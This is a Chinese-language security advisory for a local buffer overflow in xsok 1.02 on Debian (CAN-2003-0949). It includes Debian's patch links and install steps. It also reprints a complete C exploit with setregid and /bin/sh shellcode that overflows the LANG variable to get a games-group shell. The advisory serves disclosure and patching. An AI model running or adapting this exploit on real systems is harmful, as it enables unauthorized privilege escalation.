受影响系统：
Xsok Xsok 1.02
- Debian Linux 3.0
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 9321
CVE(CAN) ID: CAN-2003-0949

xsok是一款X11下的单机即时策略游戏。

xsok不正确处理环境变量数据，本地攻击者可以利用这个漏洞进行缓冲区溢出攻击，可能以游戏GID权限在系统上执行任意指令。

目前没有详细漏洞细节提供。

<*来源：Debian Security Advisory

链接：http://www.debian.org/security/2002/dsa-405
*>

测试方法：
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

c0wboy_at_0x333 提供了如下测试方法：

/* 0x333xsok => xsok 1.02 local game exploit
*
* Happy new year !
* coded by c0wboy
*
* (c) 0x333 Outsiders Security Labs / www.0x333.org
*
*/

#include <stdio.h>
#include <unistd.h>

#define BIN "/usr/games/xsok"
#define RETADD 0xbffff3b8
#define SIZE 100

unsigned char shellcode[] =

/* setregid (20,20) shellcode */
"\x31\xc0\x31\xdb\x31\xc9\xb3\x14\xb1\x14\xb0\x47"
"\xcd\x80"

/* exec /bin/sh shellcode */
"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
"\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";

int main (int argc, char ** argv)
{
int i, ret = RETADD;
char out[SIZE];

fprintf(stdout, "\n --- 0x333xsok => xsok 1.02 local games exploit ---\n");
fprintf(stdout, " --- Outsiders Se(c)urity Labs 2003 ---\n\n");

int *xsok = (int *)(out);

for (i=0; i<SIZE-1 ; i+=4, *xsok++ = ret);

memcpy((char *)out, shellcode, strlen(shellcode));
setenv("LANG", out, 0x333); /* :) */

execl (BIN, BIN, 0x0);
}

建议：
--------------------------------------------------------------------------------
厂商补丁：

Debian
------
Debian已经为此发布了一个安全公告（DSA-405-1）以及相应补丁:
DSA-405-1：New xsok packages fix local group games exploit
链接：http://www.debian.org/security/2002/dsa-405

补丁下载：

Source archives:

http://security.debian.org/pool/updates/main/x/xsok/xsok_1.02-9woody2.dsc
Size/MD5 checksum: 575 5e3f7f8513b7fb3e8fa1ebfa56a2b4bc
http://security.debian.org/pool/updates/main/x/xsok/xsok_1.02-9woody2.diff.gz
Size/MD5 checksum: 5616 6c17b1f0201f583c770b42334be33cb4
http://security.debian.org/pool/updates/main/x/xsok/xsok_1.02.orig.tar.gz
Size/MD5 checksum: 114085 f961b329e6577ebefcaa0acece9c94c8

Alpha architecture:

http://security.debian.org/pool/updates/main/x/xsok/xsok_1.02-9woody2_alpha.deb
Size/MD5 checksum: 69860 45a8699a82fb7da43a4ca28f9579fb62

ARM architecture:

http://security.debian.org/pool/updates/main/x/xsok/xsok_1.02-9woody2_arm.deb
Size/MD5 checksum: 64018 0f2ac33af74901cd52d31cb23e2b5b4f

Intel IA-32 architecture:

http://security.debian.org/pool/updates/main/x/xsok/xsok_1.02-9woody2_i386.deb
Size/MD5 checksum: 61822 35ede5adbfbdad30eb7ecdc1137f5f33

Intel IA-64 architecture:

http://security.debian.org/pool/updates/main/x/xsok/xsok_1.02-9woody2_ia64.deb
Size/MD5 checksum: 79138 5ff4f9683dce6582219d4907c3f3bc5c

HP Precision architecture:

http://security.debian.org/pool/updates/main/x/xsok/xsok_1.02-9woody2_hppa.deb
Size/MD5 checksum: 68178 fa756bb317a7162ac9df2a0b0576ee9a

Motorola 680x0 architecture:

http://security.debian.org/pool/updates/main/x/xsok/xsok_1.02-9woody2_m68k.deb
Size/MD5 checksum: 61204 6b32053cc307b3c9bfe4b3036fcab30f

Big endian MIPS architecture:

http://security.debian.org/pool/updates/main/x/xsok/xsok_1.02-9woody2_mips.deb
Size/MD5 checksum: 68402 b23adc954aaf6a23ac3e118d9c4150b6

Little endian MIPS architecture:

http://security.debian.org/pool/updates/main/x/xsok/xsok_1.02-9woody2_mipsel.deb
Size/MD5 checksum: 68338 061b40e0768f906db728cf9d3b8574e6

PowerPC architecture:

http://security.debian.org/pool/updates/main/x/xsok/xsok_1.02-9woody2_powerpc.deb
Size/MD5 checksum: 64626 6f95af173c40cc7e2d00501d80c0e308

IBM S/390 architecture:

http://security.debian.org/pool/updates/main/x/xsok/xsok_1.02-9woody2_s390.deb
Size/MD5 checksum: 64706 42386e9b13539154f214a20c464b9988

Sun Sparc architecture:

http://security.debian.org/pool/updates/main/x/xsok/xsok_1.02-9woody2_sparc.deb
Size/MD5 checksum: 66278 4d061f87360819298c481eb17dd43881

补丁安装方法：

1. 手工安装补丁包：

首先，使用下面的命令来下载补丁软件：
# wget url (url是补丁下载链接地址)

然后，使用下面的命令来安装补丁：
# dpkg -i file.deb (file是相应的补丁名)

2. 使用apt-get自动安装补丁包：